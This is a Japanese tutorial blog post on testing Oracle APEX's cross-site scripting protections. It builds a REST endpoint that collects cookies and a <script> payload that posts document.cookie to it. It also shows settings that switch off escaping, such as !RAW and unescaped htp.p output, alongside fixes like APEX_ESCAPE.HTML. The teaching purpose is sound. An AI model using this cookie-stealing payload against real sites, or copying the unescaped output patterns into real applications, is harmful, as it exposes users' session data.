先日、SQLインジェクションについて記事を書いたので、今度はクロスサイト・スクリプティングについても書いてみようと思います。SQLインジェクションは任意のSQLをサーバーに実行させるものですが、クロスサイト・スクリプティングは任意のJavaScriptのコードをブラウザに実行させるものです。
Oracle APEXのマニュアルの以下のセクションに記載があります。20.2.3 クロスサイト・スクリプティング保護の理解
ブラウザに設定されているクッキー情報を抜き出して外部に保存することで、保護がどのように働くかを確認します。
準備
ブラウザのクッキーを読み取り、その情報をHTTPのPOSTで送信して保存させます。
最初に、受け取ったクッキーの情報を保存するサーバーの準備をします。Oracle REST Data ServicesのRESTサービスを作ります。
まずは、受け取った情報を保存する表を作成します。クイックSQLで以下のモデルを記述し、表を作成します。SQLの生成、SQLスクリプトを保存、そして、レビューおよび実行を行います。アプリケーションの作成は行わず、表だけを作成します。
# prefix: xss
# semantics: default
client_data
cookie clob
when date /nn /default sysdate
表XSS_CLIENT_DATAが作成されます。
この表にデータを保存する、RESTサービスを作成します。今回はOracle APEXのUIを使用します。SQLワークショップからRESTfulサービスを開き、左ペインのツリーよりモジュールを選択します。右のORDS RESTfulモジュールの画面より、モジュールの作成を実行します。
モジュール名をtest、ベース・パスを/test/とし、モジュールの作成を実行します。
モジュールが作成されたので、続いてテンプレートの作成を行います。
URIテンプレートはcookieとします。テンプレートの作成を実行します。
テンプレートが作成されたので、ハンドラの作成を実行します。
メソッドはPOST、ソースには以下を記述します。ハンドラの作成を実行します。
begin
insert into xss_client_data(cookie) values(:body_text);
commit;
end;
ハンドラが作成されたら、完全なURLをコピーします。
データの書き込みをテストします。curlでの実行例は以下になります。
% curl -X POST -d "abcd" https://環境依存のURL/test/cookie
表XSS_CLIENT_DATAの内容を確認します。SQLコマンドより以下のSELECT文を実行します。
SELECT * FROM XSS_CLIENT_DATA
データが保存されていれば、クッキーを保存するために呼び出すRESTサービスは完成です。
続いて、クロスサイト・スクリプティングの動作確認に使用するアプリケーションを作成します。最初に空のアプリケーションを作成します。アプリケーション・ビルダーから新規アプリケーションの作成を実行します。
名前をクロスサイト・スクリプティングの確認とし、アプリケーションの作成を実行します。
色々なコンポーネントでの確認を、それぞれ別のページに実装します。全てのページでJavaScriptを含むテキストの入力を共通にするため、グローバル・ページを使います。
ページ・デザイナでグローバル・ページを開き、テキスト領域のページ・アイテムを作成します。
Content Bodyにタイトルをテキスト入力、タイプを静的コンテンツとしたリージョンを作成します。
このリージョンはログイン・ページには共有させたくないため、サーバー側の条件として、タイプを現在のページはカンマで区切られたリストに含まれないを選択し、ページとしてログイン・ページのページ番号である9999を設定します。
作成したリージョンに、ページ・アイテムを作成します。名前をP0_TEXT、タイプをテキスト領域、ラベルをテキストとします。
テキスト領域のデフォルトとして、タイプに静的を選択し、以下のコードを設定します。ここに記載されたJavaScriptのコードが実行されると、クッキーの情報が盗まれたことになります。ここで示した処理以外でも、任意のJavaScriptを実行できます。そのため、大変危険です。
<script>
let url = "https://先程作成したRESTサービスのURL/test/cookie";
let req = new XMLHttpRequest();
req.open("POST",url,true);
req.send(document.cookie);
</script>
ページ・アイテムP0_TEXTに入力されたテキストをサーバーに送信するため、ボタンを追加します。識別の名前をB_SUBMIT、ラベルを送信とします。
ちなみに、テキスト入力に使用するコンポーネントのセキュリティのプロパティとして、制限付き文字の指定が存在します。
最初から特殊文字やHTMLタグの入力を許さなければ、クロスサイト・スクリプティングは発生しません。今回はこちらの指定は使用せず、デフォルトのすべての文字列を保存できます。のままにしておきます。また、データの入力フォーム自体は一箇所とは限らないため、ここで入力に制限を加えたとしても、クロスサイト・スクリプティングへの対策が不要になるということはありません。
以上でクロスサイト・スクリプティングを確認するための準備が完了しました。
置換文字列での保護
表示する文字列に置換文字列が含まれていて、その置換文字列がJavaScriptのコードを含むケースをテストします。
ホーム・ページをページ・デザイナで開き、静的コンテンツのリージョンを作成します。
タイトルを置換文字列、タイプを静的コンテンツ、ソースのテキストとして、&P0_TEXT.を設定します。
ページを実行して動作を確認します。
ページ・アイテムP0_TEXTの内容が文字列として表示されています。置換文字列はHTMLをエスケープした上で置き換えるので、ページ・アイテムに含まれるJavaScriptが実行されることはありません。
置換文字列を!RAWで修飾すると、HTMLのエスケープ処理は行われません。&P0_TEXT.を&P0_TEXT!RAW.に置き換えて、再度ページを実行してみます。
ページを実行すると、何も表示されません。<script>...</script>で囲まれているJavaScriptのコードが実行されています。
表XSS_CLIENT_DATAを確認します。クッキーが保存されていることを確認できるはずです。
置換文字列についていえば、!RAWで修飾することで、意図的にエスケープ処理を回避しない限り、JavaScriptのコードが実行されることはありません。
ページ・アイテムの保護
表示のみのページ・アイテムに、JavaScriptのコードが含まれているケースをテストします。
新規に空白のページを作成します。ページの作成を実行します。
名前をページ・アイテム、ページ・モードは標準、ブレッドクラムはBreadcrumbを選択します(エントリ名はページ・アイテムになります)。オプションの静的コンテンツ・リージョンとしてリージョン1にページ・アイテムを入力し、静的リージョンをひとつだけ作成します。次に進みます。
ナビゲーションのプリファレンスとして、新規ナビゲーション・メニュー・エントリの作成を選択し、次へ進みます。
終了をクリックします。これでページは完成です。
P0_TEXTの内容をソースとして表示するページ・アイテムP2_TEXTを作成します。
名前をP2_TEXT、タイプは表示のみに設定します。ラベルはテキスト、設定の基準はItem Value、改行の表示はONです。ソースのタイプをアイテムとし、アイテムはグローバル・ページからP0_TEXTを選択します。
以上の設定を行い、ページを実行してみます。JavaScriptが実行されることなく、文字列として画面に表示されていることが確認できます。
これもJavaScriptとして実行される設定に変更してみます。
ページ・アイテムP2_TEXTのセキュリティにある特殊文字をエスケープをOFFにし、設定にある改行の表示もOFFにします。これでP0_TEXTの内容が、エスケープ処理されずに、そのまま出力されます。
改行の表示がONの場合、JavaScriptのコードに含まれる改行が<br>に置き換わることで、シンタックス・エラーが発生します。JavaScriptが実行されないわけではありません。
レポートの保護
レポートの列の出力に、JavaScriptのコードが含まれているケースをテストします。
先程と同様に、静的コンテンツ・リージョンを含む空白のページを作成します。名前をレポートとします。この設定以外は、同じ手順になります。
新規に作成されたページに含まれるリージョンであるレポートを選択し、タイプをクラシック・レポートに変更します。ソースのタイプとしてSQL問合せを選択し、SQL問合せとして以下を設定します。列JSにJavaScriptのコードが含まれます。
select :P0_TEXT js from dual
ページを実行すると、以下の表示になります。JavaScriptが文字列として表示され、実行されることはありません。
これもJavaScriptとして実行される設定を行ってみます。レポート列にもページ・アイテムと同様に特殊文字をエスケープのプロパティを持っています。これをOFFにします。
列JSにJavaScriptのコードは表示されません。コードは実行されているため、先程と同様に、表XSS_CLIENT_DATAにクッキーが保存されていることも確認できます。
レポート列の表示については、特殊文字をエスケープはデフォルトでONです。意図的に特殊文字をエスケープをOFFにしなければ、JavaScriptのコードが実行されることはありません。
レポート列を修飾したい場合は、SELECT文にHTMLのタグを含めて特殊文字をエスケープをOFFにする、といった記述は行わず、列の書式のHTML式を使うことが推奨されています。
例えば、以下のSQLの列DUMMYを太字にします。
select dummy from dual
SQLを以下に変更して、列DUMMYの特殊文字をエスケープをOFFにしたりせず、
select '<b>' || dummy || '</b>' dummy from dual
HTML式として<b>#DUMMY#</b>を設定します。
または、CSSクラスとしてu-boldを設定します。
このような対応を行い、特殊文字をエスケープはONを維持します。
置換文字列に!RAW修飾子があったように、列の置換文字列にも!RAW修飾子があります。そのため、特殊文字をエスケープがONであっても、HTML式として#JS!RAW#と記載することにより、エスケープ処理を迂回することができます。
!RAWの使用は危険なので、アプリケーションに含まれていないことをスポットライト・サーチを使って確認してもよいでしょう。
コードによる出力の保護
JavaScriptが含まれているページ・アイテムを、PL/SQLコードで出力するケースをテストします。
先程と同様に、静的コンテンツ・リージョンを含む空白のページを作成します。名前をPL/SQLコードとします。手順は同じです。
新規に作成されたページに含まれるリージョンであるPL/SQLコードを選択し、タイプをPL/SQL動的コンテンツに変更します。ソースのPL/SQLコードとして以下を設定します。
htp.p(:P0_TEXT);
ページを実行して、動作を確認します。
今回は最初からJavaScriptのコードが文字列として表示されず、コードが実行されています。表XSS_CLIENT_DATAの内容を確認すると、クッキーが保存されているはずです。
PL/SQLのコードから出力する場合、文字列をエスケープするのは開発者の責任です。PL/SQLコードは以下のように記述しなければなりません。文字列のエスケープには、Oracle APEXが標準で提供しているパッケージAPEX_ESCAPEに含まれる、APEX_ESCAPE.HTMLファンクションを使用します。
htp.p(apex_escape.html(:P0_TEXT));
コードを変更して実行すると、以下のようにJavaScriptが文字列として画面に表示されます。実行されることはありません。
ちなみに今回はクッキーのデータを抜き出しました。Oracle APEXではクッキーの情報だけではセッションを乗っ取ることはできません。URLに含まれるセッションIDと照合するためです。ページ・アクセスの保護については以前にこちらの記事で解説しています。
クロスサイト・スクリプティングの対応の説明は以上です。
Oracle APEXの安全なアプリケーションの開発の参考になれば幸いです。
完